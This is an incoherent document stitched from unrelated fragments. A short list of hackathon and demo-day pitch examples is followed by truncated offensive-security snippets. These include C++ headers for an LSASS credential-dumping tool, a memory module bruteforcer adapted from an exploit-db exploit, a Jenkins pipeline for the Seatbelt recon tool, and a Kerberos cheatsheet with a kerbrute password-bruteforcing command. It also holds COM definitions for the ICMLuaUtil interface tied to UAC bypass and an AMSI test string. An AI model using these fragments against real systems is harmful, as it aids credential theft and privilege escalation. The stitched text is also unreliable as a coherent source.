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How to Give THE Killer Pitch or Hackathon Demo

Examples

Here are some high quality demo day pitches for reference

Orange DAO demos (highly recommended to check out as these are also crypto builders)

Lattice YC Demo Day Pitch (W16)

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#include <Windows.h>
#include <iostream>
#include <DbgHelp.h>
#include <processsnapshot.h>
#include <TlHelp32.h>
#include <processthreadsapi.h>

//process reflection stuff copied from: https://github.com/hasherezade/pe-sieve/blob/master/utils/process_reflection.cpp
//minidump/process searching copied from: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
//compile using: cl.exe refl.cpp /DUNICODE

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// memBruteforce.cpp by aaaddress1@chroot.org
// brute search loaded moudules in memory
// rewrite from https://www.exploit-db.com/exploits/45293
#include <Windows.h>
#include <iostream>
#pragma warning(disable:4996)

bool isMemExist(size_t addr) {
    int retv;
    __asm {

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@Library('ci-jenkins-common') _

// Jenkins build pipeline (declarative)

// Project:         Seatbelt
// URL:             https://github.com/GhostPack/Seatbelt
// Author:          @tifkin_/@harmj0y
// Pipeline Author: harmj0y

def gitURL = "https://github.com/GhostPack/Seatbelt"

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Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

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typedef interface ICMLuaUtil ICMLuaUtil;

typedef struct ICMLuaUtilVtbl {

    BEGIN_INTERFACE

        HRESULT(STDMETHODCALLTYPE *QueryInterface)(
            __RPC__in ICMLuaUtil * This,
            __RPC__in REFIID riid,
            _COM_Outptr_  void **ppvObject);

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Invoke-Expression 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'